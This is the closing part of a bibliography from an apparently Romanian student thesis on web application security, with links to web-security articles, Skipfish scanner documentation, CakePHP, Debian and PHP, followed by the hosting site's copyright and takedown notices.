12. http://www.beyondsecurity.com/web -security -and-web-scanning.html
13. https://en.wikipedia.org/wiki/Web_application_security
14. http://www.acunetix.com/websitesecurity/web -site-security/
15. http://seoroot.com/blog/ubuntu -linux/how -to-install -skipfish -on-linux.html
16. https://code.google.com/archive/p/skipfish/wikis/SkipfishDoc.wiki
17. http://book.cakephp.org/3.0/en/index.html
18. https://www.debian.org/
19. http://php.net/
Copyright Notice
© Licențiada.org respectă drepturile de proprietate intelectuală și așteaptă ca toți utilizatorii să facă același lucru. Dacă consideri că un conținut de pe site încalcă drepturile tale de autor, te rugăm să trimiți o notificare DMCA.
Acest articol: Introducere … … … … 3 [618318] (ID: 618318)
Dacă considerați că acest conținut vă încalcă drepturile de autor, vă rugăm să depuneți o cerere pe pagina noastră Copyright Takedown.